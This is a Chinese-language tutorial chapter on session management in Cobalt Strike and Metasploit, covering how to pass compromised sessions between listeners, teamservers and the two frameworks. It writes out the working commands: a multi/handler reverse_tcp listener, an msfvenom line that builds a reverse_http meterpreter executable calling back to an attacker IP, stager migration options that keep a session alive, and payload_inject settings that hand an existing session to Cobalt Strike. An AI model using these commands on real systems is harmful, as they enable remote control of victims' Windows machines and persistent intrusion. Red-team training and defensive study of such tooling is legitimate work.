第五章 会话管理
1. 不同 listener 之间的会话转移
- 右键会话(spawn) –> 选择其他的 listener
2. 不同的 teamserver 之间的会话转移
- 在新的 teamserver 中创建监听器 –> 右键会话转移(spawn) –> 选择刚刚新建的监听器
3. cobalt strike 派生 metasploit 会话
首先在 metasploit 中创建监听(这里使用 reverse_tcp ):
1
2
3
4
5use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.43.106
set lport 4444
exploit -j结果:
补充:
jobs 命令可以查看后台的任务项。例如:
使用
kill <id>
可以关闭某个任务在 cobalt strike 中新建监听器,这里根据上文的监听类型,选择对应的监听器种类:
这里要注意的是:
- Payload 要选择之间 msf 中设置的,要选 foreign
- 主机和端口要和刚刚在 msf 中设置的一致。
在 cobalt strike 中选择要转移的会话,选择刚刚建立的监听器即可。
4. metasploit 生成木马和 cobalt strike 会话
首先利用 metasploit 生成一个反弹 http shell:
msfvenom -p windows/meterpreter/reverse_http lhost=192.168.43.106 lport=55555 -f exe > shell_tcp_43.106_55555.exe
在 cobalt strike 中设置监听器。这里的监听器为 windows/beacon_http/reverse_http
靶机执行 shell,获得会话。
其实这里的 cobalt strike 相当于 msf 的 handler。
5. metasploit 利用 exp 将会话转给 cobalt strike
- 正常使用攻击 exp。
- 设置 payload 的时候选择与 cobal strike 中设置的监听器相同类型的 payload。例如都是 reverse_http
- 设置 Lhost 和 Lport 都是 cobalt strike 监听器的主机地址和端口。
set disablepayloadhandler True
。将 DisablePayLoadHandler 设置为 true。这告诉 metasploit 框架,它不需要在metasploit 框架内创建处理程序来服务有效负载连接。set PrependMigrate true
。这个选项告诉 metasploit 框架修改其 stager,以便在利用之后立即迁移到另一个进程。此选项对于客户端攻击非常重要。它允许您的会话在被利用的应用程序崩溃或关闭时存活。- 个人实验时利用的是 ms16_032 exp。在 msf 设置 payload 的时候,虽然设置其为 reverse_http,但最终 show options 的时候还是 reverse_tcp。最终在 cobalt strike 中依旧无法获得会话。
6. metasploit session 派生 cobalt strike 会话
首先利用 exp 产生 session。
将获得的 session 通过
background
置于后台。利用以下模块:
1
2
3
4
5
6
7
8
9
10
11use exploit/windows/local/payload_inject
# 这里设置具体的 session
set session x
# 这里设置的 payload 要和 cobalt strike 中设置的监听器的配置一致
set payload windows/meterpreter/reverse_http
# cobalt strike 监听器的主机地址
set lhost 192.168.0.106
# cobalt strike 监听器的端口地址
set lport 1234
set DisablePayloadHandler true
exploit -j结果如下: